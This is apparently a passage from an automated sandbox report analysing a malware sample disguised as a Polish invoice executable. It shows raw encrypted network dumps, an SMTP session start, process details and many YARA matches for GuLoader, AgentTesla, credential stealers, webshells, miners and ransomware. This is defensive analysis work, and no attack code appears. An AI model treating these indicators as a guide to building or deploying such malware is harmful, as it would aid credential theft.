09 c6 f8 09 c3 b6 11 fb 71 38 f3 3a fb 5c 86 fc e0 58 e1 
Data Ascii: ~6/9&F?>y&n g"HXr8sf>|5)oY+Niv0di"j{%*Y\* mxruRRLuo.m[s.S=Aej;O@41 = llx3>*[WIim#q8:\X

2021-10-12 14:35:51 UTC 211 IN Data Raw: cb b6 ea cb 08 fc f3 0a be 0e d2 2d f9 39 43 64 e4 05 fe 08 3b 77 5a f2 a9 56 fd 10 dc fa 44 dc 9e d9 5c 0b 22 
62 06 a0 5c 33 3e 19 29 cb 70 cd 81 7e ea 1c 94 20 c3 dd 46 37 13 58 54 9c 21 02 e2 24 93 ce e4 c8 00 a6 ed bb 18 15 
2e c5 05 63 15 b6 5d b6 01 eb 91 ea 1b 5c bb d7 df 7f 67 37 34 d3 66 61 0c 13 26 35 ab a4 3c 6e a3 c6 22 28 37 5f 28 7c 
25 e9 aa 3c a0 a6 36 01 fe 0c f9 42 15 4a 44 4e 35 2e 86 b4 db a9 d4 46 a5 25 59 ec f8 9b 8a 59 a7 cc 24 5f 7a a5 ba 21 
45 18 33 44 9c c5 07 e0 fc 3a ed 37 65 b3 5b be 90 5c e6 cc 15 bc 64 1e 7b 2b 62 7a 80 3f cb b0 e8 2d a4 cc 8c 9a 3c ec 
27 8b 66 be 46 b7 2b 59 d8 83 94 4f 63 b8 6b d8 50 36 22 e6 ab 86 1f 57 ab 66 7d 96 4a 84 33 e0 21 7c 28 6d 3b 18 7c 59 
f5 0a 78 89 3e 9d 01 58 ce 99 23 7a 97 07 c5 50 bf a7 25 
Data Ascii: -9Cd;wZVD\"b\3>)p~ F7XT!$.c]\g74fa&5<n"(7_(|%<6BJDN5.F%YY$_z!E3D:7e[\d{+bz?-<'fF+YOckP6"Wf}J3!|
(m;|Yx>X#zP%

2021-10-12 14:35:51 UTC 212 IN Data Raw: 8a b5 07 ed c4 fa ab ba 9a fd 22 d3 fb 70 3a 26 b1 82 34 b0 a5 d4 11 f4 30 11 14 2f 29 2b fa a6 d1 f9 c7 ca 29 
8e 7c 3b f9 70 a1 c7 be 41 3b 0d 93 b9 a7 3e da 62 ac 15 83 0b 95 81 94 12 34 66 05 15 93 32 87 ef 35 85 27 60 33 8d af 
f6 15 cc 19 fd f1 ab b9 93 df dc 7c 0e 4a 2c 82 4a fd ba 77 c4 03 6a 22 f0 9c 6f 7a a3 31 e4 94 ae fb 05 bc 63 cb 76 9d 8e 
b6 da 84 ea b5 58 57 a1 55 0b 1c 85 d0 49 de aa bf 94 75 3e 81 59 ae 41 d4 6a c2 9a 98 7c 9c d4 bb cc e8 d6 30 55 52 80 
c4 eb 13 fc 5c 17 4c 66 b8 3a a8 f7 31 ed c8 27 61 52 07 8c 7b 0b a2 40 34 4f f9 ef 27 8b cb 94 54 a2 9d 72 33 ba 02 3f 2a 
1a 23 cf bc 61 60 a5 64 80 5d da 21 de f0 e2 36 05 b9 f4 fb 57 3e c2 1a 46 60 0d ab 2e 2f 6b d7 8b 92 0e 81 34 69 f0 bf b1 
96 9f 88 f6 1f c4 25 09 63 65 38 f3 3e f6 5c 
Data Ascii: "p:&40/)+)|;pA;>b4f25'`3|J,Jwj"oz1cvXWUIu>YAj|0UR\Lf:1'aR{@4O'Tr3?*#a`d]!6W>F`./k4i%ce8>\

Timestamp
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2021-10-12 14:35:51 UTC 214 IN Data Raw: 69 3b c9 8a 68 49 a2 6a f4 1f 5d b3 1c 1c 3b c9 0c ee 23 4c 77 fc 08 ea 16 b9 52 5b e5 dd 4e e5 08 c8 f6 da f0 
98 d3 1a 09 30 e4 30 bd 59 2e 32 12 2b d0 68 d5 98 6b fe 09 8d 3d c3 d0 4e 1f 14 59 5b 9c 21 02 e5 25 91 c3 76 61 0c b3 
ec a1 18 15 39 ed 09 7e 14 b6 5d b6 00 f2 84 e7 3d d9 b6 d0 4f ef e3 35 3b 4e 3b 68 03 90 bd 32 ba 20 5c 61 b1 d5 2f 22 
37 5f 20 6e a6 f5 aa 26 88 ae 2a 1f ff 1b 76 0c 00 24 4f 4e 33 2e 9f a1 cf b4 ca 46 a2 3f 5c f3 ef 41 34 7d bc f6 a1 47 6d b9 
35 ad 56 88 bb 06 87 d9 8e 71 e0 2d 71 72 63 b2 50 aa 96 4f f1 52 0c a0 f4 be 33 3e 6f 75 ec 30 4f 19 e8 38 aa de 08 81 
2f e7 27 9e 6b bd 46 f7 31 db d6 96 9f 5c 77 27 23 c3 55 3b 22 f5 a6 9c 99 4a b7 60 68 97 57 80 2f 61 3c 61 29 62 39 7f 
73 71 f9 03 6c 8f 25 92 02 50 c4 84 26 ff 95 10 
Data Ascii: i;hIj];#LwR[N00Y.2+hk=NY[!%va9~]=O5;N;h2 \a/"7_ n&*v$ON3.F?\A4}Gm5Vq-qrcPOR3>ou0O8/'kF1\
w'#U;"J`hW/a<a)b9sql%P&

2021-10-12 14:35:51 UTC 215 IN Data Raw: 60 1c c3 57 a2 8e ae 08 67 d0 f0 b8 bc 89 fb 31 c6 fd 76 3c 2e a8 08 98 ba a3 d2 0b 80 36 12 3c 32 34 3c 78 
09 d1 e4 c9 f0 2f 9b 7c 3b fa 44 a2 db 31 0a 15 03 93 ba a4 16 d9 63 2d 46 8c 02 8e 8d 18 ab 2b 6d 03 00 91 2d 90 66 12 
16 e7 96 40 82 ad f2 07 d6 95 fa fd ab bf 93 d9 c9 69 07 48 25 81 4a 79 b6 64 cf 16 72 31 fc 89 e8 f1 b0 3a eb f8 a1 77 1e 
a1 65 d8 11 94 80 a6 c1 9c fa ba dc df a7 53 18 1a 8a 51 ee 4e 42 a3 08 d1 2a 22 61 ae aa 68 44 c7 a8 1b 57 14 49 b8 e4 
f4 c1 ba 9c 47 86 cc ef 2e f3 53 05 48 64 aa 2a 35 66 34 e3 d4 35 61 75 1d 88 66 34 24 c9 20 4f f9 36 34 fd 44 c1 53 31 85
ea 20 35 57 23 a5 91 a3 9d 33 34 7f 29 db 90 d3 6f 3d 4e 90 e8 25 0e be 64 39 f4 55 c4 09 41 6f 02 a5 3f bf 74 16 9f 8b 8a 
6c 29 7e 51 22 a0 1c 09 83 fe 01 d4 2a 8d f4 6c 
Data Ascii: `Wg1v<.6<24<x/|;D1c-F+m-f@iH%Jydr1:weSQNB*"ahDWIG.SHd*5f45auf4$ O64DS1 5W#34)o=N%d9UAo?t
l)~Q"*l

2021-10-12 14:35:51 UTC 216 IN Data Raw: a0 dd 1a e5 1f 7f 3a c0 9f 7d cc a7 68 fa 09 db f3 18 3c 3f 35 0e fa 24 42 7f f0 8d 6a 00 7b 73 47 f7 b0 53 e2 15 
d4 ef c6 e9 9a da 3e 0b 32 66 05 a4 53 33 37 1e 28 26 75 d0 84 72 e2 1b 91 20 c5 d8 b8 3f 16 5a 53 86 26 0a ee 26 96 c2 
75 d4 ae ab f6 a1 07 88 83 de 07 7a 18 a3 50 b0 19 d7 8d e7 01 d3 a9 cf 5f 64 72 3c 35 d2 7e 75 19 19 2c 36 88 a3 16 67 
a5 df 01 2b 28 50 29 7b 22 fe bd 26 9d a8 33 23 e1 02 ff 44 07 4a 57 58 37 3b 9e b6 db a3 ca 51 bc 30 5b e0 7e 42 85 7b 
ba d6 a2 76 79 aa bf 3f 57 98 2b c5 13 da 8c 69 f0 bc 71 34 6b af 56 a7 1b c0 e7 d6 18 2d 67 39 73 37 6c 76 06 a3 c7 b8 
e2 38 b0 5d 8f 9e a2 68 2f 96 62 ab d5 39 b8 d0 d5 9c 83 d0 63 b7 ec c0 47 ba 29 ff b3 85 1d e6 b2 63 61 98 4b 98 26 76 
36 6a 31 6b 21 6c 6a f9 53 03 77 83 31 96 06 44 c4 
Data Ascii: :}h<?5$Bj{sGS>2fS37(&ur ?ZS&&uzP_dr<5~u,6g+(P){"&3#DJWX7;Q0[~B{vy?W+iq4kV-g9s7lv8]h/b9cG
)caK&v6j1k!ljSw1D

2021-10-12 14:35:51 UTC 217 IN Data Raw: d9 eb 53 d8 86 1a 3b 5c b4 a4 00 75 07 ef 29 f0 ac b4 96 e1 ac 2a fb 6f b4 ca a8 07 87 a0 2b 3e 0b 69 da 16 
34 2c 2e b9 9c 19 53 3f d6 59 d1 8b 61 2e 79 cf 23 25 a2 ca ea 06 a6 ac 37 0f 34 60 2c ee 8c 02 8e 96 11 a1 24 e8 e7 15 
84 10 90 7c 80 7b b6 04 c1 84 b7 78 d5 cf 1a cd fd ad b0 9f c3 41 9e 12 c4 d5 81 cf 40 a5 77 c4 03 79 31 f7 95 64 77 a5 
22 f8 f5 ae fb 0a 9c 64 cb 69 13 68 aa d3 8f f7 a0 df c7 a9 53 1c 1a 9f 7a fb de cb b8 07 55 a1 a0 4a 3c 2f 78 76 46 23 99 
7c 9e 85 ba e6 e0 d6 33 e1 58 82 c3 e0 07 fb 55 11 5a e1 94 21 3b ee dc e5 d5 2b 68 47 1f 8a 79 06 a5 45 33 dc e1 77 34 
19 a6 d8 46 b7 1e e5 30 a8 0a 31 b6 9f 3f df 3a 21 6c aa 64 83 5c 43 28 ec 9b e8 39 80 47 7b b2 65 55 c8 15 c8 84 15 2b 
f8 32 ee 18 8a 86 86 4e 3a ec 05 a2 a6 1e 09 a5 f4 16 
Data Ascii: S;\u)*o+>i4,.S?Ya.y#%74`,$|{xA@wy1dw"dihSzUJ</xvF#|3XUZ!;+hGyE3w4F01?:!ld\C(9G{eU+2N:

2021-10-12 14:35:51 UTC 219 IN Data Raw: a4 8b 9a 2a b7 ad ec 9b 7c 0e 68 bb 59 9e 6b 4b af 4b fd 02 ce 72 85 32 29 5b 90 ff 21 43 6b 60 05 e7 85 3f 7b 
5a f2 bc 4e e5 1d c9 ee d3 fc 1b 7f 3b 19 a3 6e 02 80 5e 21 b6 83 22 ca 72 f0 86 64 63 89 99 28 c9 cd 59 be b3 59 47 00 
2c 09 cd 23 81 5e 60 5e 2a ae e5 ae 97 91 2a ca 81 76 14 ad 4a 3a 20 fc ac eb 08 cc 2c f8 40 6b 67 31 21 c5 7c 7b 19 0c 
21 2e ad a9 14 67 ae d1 20 22 20 4a 2f 7e 39 f5 a6 30 95 be 36 05 c3 0b ea 49 1a 43 4b 20 30 5b 83 dd d3 9c d6 6a a0 0a 
5c e7 fa cd 90 76 af db ba 4a 70 a3 a9 28 4a 86 27 44 9a c3 13 f5 fd 37 f4 32 6a ab 42 b3 b8 40 fe d5 0b be e1 37 6f 2b 62 
7a 99 3f d2 a5 fc 2d bd c3 0b 87 25 ef 3b 12 62 a9 c4 ba 2b 5f d4 98 96 50 7b a0 7c ac 5f 18 2f e6 ab 89 98 57 b3 7e 65 
99 50 87 3c 67 29 64 23 6b 21 79 71 79 f4 0e 65 98 
Data Ascii: *|hYkKKr2)[!Ck`?{ZN;n^!"rdc(YYG,#^`^**vJ: ,@kg1!|{!.g " J/~906ICK 0[j\vJp(J'D72jB@7o+bz?-%;b+_P{|_
/W~eP<g)d#k!yqye

2021-10-12 14:35:51 UTC 220 IN Data Raw: d7 e9 ed d2 38 d6 ec 56 c9 06 e3 29 dc 50 b6 80 a0 15 6f cd f8 a5 b4 94 f3 2c ce f5 7e 34 33 a0 00 85 b2 ab da 
19 e9 3e 1a 34 2f 3c 39 78 0b d3 ea c7 d9 28 89 69 29 7b dd a3 c9 b0 4a 1b 0d 86 a8 25 8f d8 71 ac 06 82 0c 80 90 16 a3 
36 68 0b 1d 94 30 95 6e 00 97 a7 84 29 8a a5 f8 00 de 9b f4 f3 a5 b7 9f d1 d1 72 00 44 19 93 c8 cc a0 79 ca 0b 4f 2c f9 1b
6a 74 ad 3f f6 fd b3 f5 03 bc 60 ca 78 93 81 a4 dc 81 ff a7 89 ce a0 db 16 12 97 52 fc cc c3 ad 15 d4 38 a1 58 bc c2 6d 65 
c7 ba 98 06 1e 69 3d ec e9 c4 b2 94 5a 85 c4 ea 0e f2 52 18 4b 61 ad 28 29 6e 30 63 d5 29 6f 5a 1a 82 73 26 a5 50 21 5d 
78 76 26 99 4a d5 41 b0 1c eb 32 24 17 2d ab 23 a2 de 3d 9d 6c ab 6a 92 dd 7a 2f cc 99 ea 2b 60 28 76 bb af 56 ca 07 48 
68 07 ab 2d 3e e9 1e 2b 81 b8 4c 28 6c 86 bf f0 
Data Ascii: 8V)Po,~43>4/<9x(i){J%q6h0n)rDyO,jt?`xR8Xmei=ZRKa()n0c)oZs&P!]xv&JA2$-#=ljz/+`(vVHh->+L(l

2021-10-12 14:35:51 UTC 221 IN Data Raw: 91 2f 9f 26 15 58 ee cd d3 da c5 b9 ee 14 74 14 76 a5 e9 1c a6 87 04 9f 7b b9 9f 25 1e 5a a9 44 94 52 29 12 
84 7f d4 24 4e 1a 06 94 d7 36 93 66 e9 c9 a0 8c f6 a9 5f 29 0d 58 08 aa 7c 13 17 3e 0c f6 49 ff f6 13 93 61 f4 53 b5 bd 2c 
6f 64 31 23 e8 48 69 82 46 e3 e1 69 5e 22 8e d0 9c 2a 27 58 bd 63 0b 62 c2 2c c1 23 fa 86 cf 29 e2 81 b1 2f 1b 09 40 60 
a1 1d 12 2f 1c 2e 0f 87 c0 6f 1c c8 b6 43 46 53 64 23 76 27 f5 b6 2e 95 a0 36 03 e3 09 f7 4c 12 4d 47 53 30 33 83 bc d3 
a9 d6 5b a0 38 5c f1 fd c3 8d 73 b2 de a6 56 78 ab b4 34 57 9a 3a 46 92 cb 0f e8 e1 3f f0 32 6b ae 5e b6 98 41 e3 d0 09 
ae e6 3f 73 36 67 67 85 22 ce b8 e0 30 a1 de 0e 8f 21 e9 29 96 63 ac c4 ba 39 db d5 9e 91 52 66 a5 6e c5 55 38 2c fb ae 
94 9d 4a b6 63 60 93 57 81 21 62 34 61 2d 63 29 71 7b 
Data Ascii: /&Xtv{%ZDR)$N6f_)X|>IaS,od1#HiFi^"*'Xcb,#)/@`/.oCFSd#v'.6LMGS03[8\sVx4W:F?2k^A?s6gg"0!)c
9RfnU8,Jc`W!b4a-c)q{

Timestamp
kBytes
transferred Direction Data

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

Oct 12, 2021 16:37:27.472767115 CEST 587 49795 188.93.227.195 192.168.11.20 220-iberweb-11a.ibername.com ESMTP Exim 4.94.2 #2 Tue, 12 Oct 2021 
15:37:25 +0100 
220-We do not authorize the use of this system to transport unsolicited, 
220 and/or bulk e-mail.

Oct 12, 2021 16:37:27.473258018 CEST 49795 587 192.168.11.20 188.93.227.195 EHLO 210979

Oct 12, 2021 16:37:27.524290085 CEST 587 49795 188.93.227.195 192.168.11.20 250-iberweb-11a.ibername.com Hello 210979 [102.129.143.96]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-PIPE_CONNECT
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP

Oct 12, 2021 16:37:27.524652958 CEST 49795 587 192.168.11.20 188.93.227.195 STARTTLS

SMTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Oct 12, 2021 16:37:27.579057932 CEST 587 49795 188.93.227.195 192.168.11.20 220 TLS go ahead

Timestamp
Source
Port

Dest
Port Source IP Dest IP Commands

File ActivitiesFile Activities

Start time: 16:35:08

Start date: 12/10/2021

Path: C:\Users\user\Desktop\FAKTURA I PARAGONY.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\FAKTURA I PARAGONY.exe' 

Imagebase: 0x400000

File size: 102400 bytes

MD5 hash: 0277CE10266C718B31D46A622ACF1A43

Has elevated privileges: true

Has administrator privileges: true

Programmed in: Visual Basic

Yara matches: Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 
00000000.00000002.2628573263.0000000002270000.00000040.00000001.sdmp, 
Author: Joe Security

Reputation: low

Show Windows behavior

Start time: 16:35:30

Start date: 12/10/2021

Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\FAKTURA I PARAGONY.exe' 

Imagebase: 0xd10000

File size: 65440 bytes

MD5 hash: 0D5DF43AF2916F47D00C1573797C1A13

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: FAKTURA I PARAGONY.exe PID: 9200 Parent PID: 1604Analysis Process: FAKTURA I PARAGONY.exe PID: 9200 Parent PID: 1604

General

Analysis Process: RegAsm.exe PID: 420 Parent PID: 9200Analysis Process: RegAsm.exe PID: 420 Parent PID: 9200

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
0000000A.00000002.7245837734.000000001E28E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
0000000A.00000002.7244913734.000000001E201000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
0000000A.00000002.7244913734.000000001E201000.00000004.00000001.sdmp, 
Author: Joe Security

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 16:35:30

Start date: 12/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff63a230000

File size: 875008 bytes

MD5 hash: 81CA40085FC75BABD2C91D18AA9FFA68

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 16:41:42

Start date: 12/10/2021

Path: C:\Windows\System32\oobe\UserOOBEBroker.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding

Imagebase: 0x7ff713d80000

File size: 57856 bytes

MD5 hash: BCE744909EB87F293A85830D02B3D6EB

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: low

File CreatedFile Created

File WrittenFile Written

File ReadFile Read

Analysis Process: conhost.exe PID: 368 Parent PID: 420Analysis Process: conhost.exe PID: 368 Parent PID: 420

General

Analysis Process: UserOOBEBroker.exe PID: 8528 Parent PID: 1040Analysis Process: UserOOBEBroker.exe PID: 8528 Parent PID: 1040

General

Analysis Process: mpam-51041e98.exe PID: 6724 Parent PID: 2140Analysis Process: mpam-51041e98.exe PID: 6724 Parent PID: 2140

General
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File ActivitiesFile Activities

Start time: 16:41:47

Start date: 12/10/2021

Path: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-51041e98.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-51041e98.exe' /q WD

Imagebase: 0x7ff7eddd0000

File size: 16343496 bytes

MD5 hash: C4DB3EC80A8918D80B802B6DA145FD82

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Reputation: low

Show Windows behavior

Start time: 16:41:50

Start date: 12/10/2021

Path: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\5F092BAC-4701-4818-
8EB0-1B8D5E2340F4\MpSigStub.exe

Wow64 process (32bit): false

Commandline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-
1B8D5E2340F4\MpSigStub.exe /stub 1.1.18500.10 /payload 1.351.265.0 /program C:
\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-51041e98.exe /q WD

Imagebase: 0x7ff7689a0000

File size: 803176 bytes

MD5 hash: 01F92DC7A766FF783AE7AF40FD0334FB

Has elevated privileges: false

Has administrator privileges: false

Programmed in: C, C++ or other language

Yara matches: Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.6336769092.0000028BD7D54000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6336769092.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6313733707.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_obfuscated, Description: ASP webshell obfuscated, Source: 
00000023.00000003.6313733707.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6313733707.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6334830370.0000028BD7708000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6334830370.0000028BD7708000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6334830370.0000028BD7708000.00000004.00000001.sdmp, 
Author: Joe Security

File CreatedFile Created

File DeletedFile Deleted

File WrittenFile Written

File ReadFile Read

Analysis Process: MpSigStub.exe PID: 7120 Parent PID: 6724Analysis Process: MpSigStub.exe PID: 7120 Parent PID: 6724

General
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Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6315879958.0000028BD6D14000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6315879958.0000028BD6D14000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.6301031977.0000028BD6979000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6301031977.0000028BD6979000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - 
Mozilla/5.0, Source: 
00000023.00000003.6429156271.0000028BD7766000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 
00000023.00000003.6429156271.0000028BD7766000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6429156271.0000028BD7766000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, 
Source: 
00000023.00000003.6429156271.0000028BD7766000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6422489024.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6422489024.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6422489024.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_gogoogle, Description: Yara detected GoGoogle ransomware, Source: 
00000023.00000003.6435347740.0000028BD7C0A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 
00000023.00000003.6435347740.0000028BD7C0A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom 
tool, Source: 
00000023.00000003.6315331031.0000028BD6126000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_RemComRemoteAdmin, Description: Yara detected RemCom 
RemoteAdmin tool, Source: 
00000023.00000003.6315331031.0000028BD6126000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_XORed_Mozilla, Description: Detects suspicious XORed keyword - 
Mozilla/5.0, Source: 
00000023.00000003.6274482455.0000028BD75C0000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6282670643.0000028BD7070000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6282670643.0000028BD7070000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.6286543485.0000028BD62AA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6264485610.0000028BD7D13000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PUA_CryptoMiner_Jan19_1, Description: Detects Crypto Miner strings, Source: 
00000023.00000003.6264485610.0000028BD7D13000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6264485610.0000028BD7D13000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6317668915.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6317668915.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
commands, Source: 
00000023.00000003.6316424698.0000028BD7976000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Voidcrypt, Description: Yara detected Voidcrypt Ransomware, Source: 
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00000023.00000003.6316424698.0000028BD7976000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 
00000023.00000003.6437087417.0000028BD682E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: APT9002Strings, Description: 9002 Identifying Strings, Source: 
00000023.00000003.6437087417.0000028BD682E000.00000004.00000001.sdmp, 
Author: Seth Hardy
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6409405553.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6409405553.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6409405553.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6326325485.0000028BD642E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.6278239354.0000028BD7D54000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6278239354.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.6283306166.0000028BD6B04000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6283306166.0000028BD6B04000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6280430921.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_bitcoinminer, Description: Yara detected BitCoin Miner, Source: 
00000023.00000003.6280430921.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Tofu_Backdoor, Description: Detects Tofu Trojan, Source: 
00000023.00000003.6343112775.0000028BD6735000.00000004.00000001.sdmp, 
Author: Cylance
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6437420306.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: WScriptShell_Case_Anomaly, Description: Detects obfuscated wscript.shell 
commands, Source: 
00000023.00000003.6437420306.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6437420306.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: vanquish_2, Description: Webshells Auto-generated - file vanquish.exe, Source: 
00000023.00000003.6437420306.0000028BD7B02000.00000004.00000001.sdmp, 
Author: Yara Bulk Rule Generator by Florian Roth
Rule: REDLEAVES_CoreImplant_UniqueStrings, Description: Strings identifying the core 
REDLEAVES RAT in its deobfuscated state, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: USG
Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 
00000023.00000003.6436439478.0000028BD6A3D000.00000004.00000001.sdmp, 
Author: Florian Roth
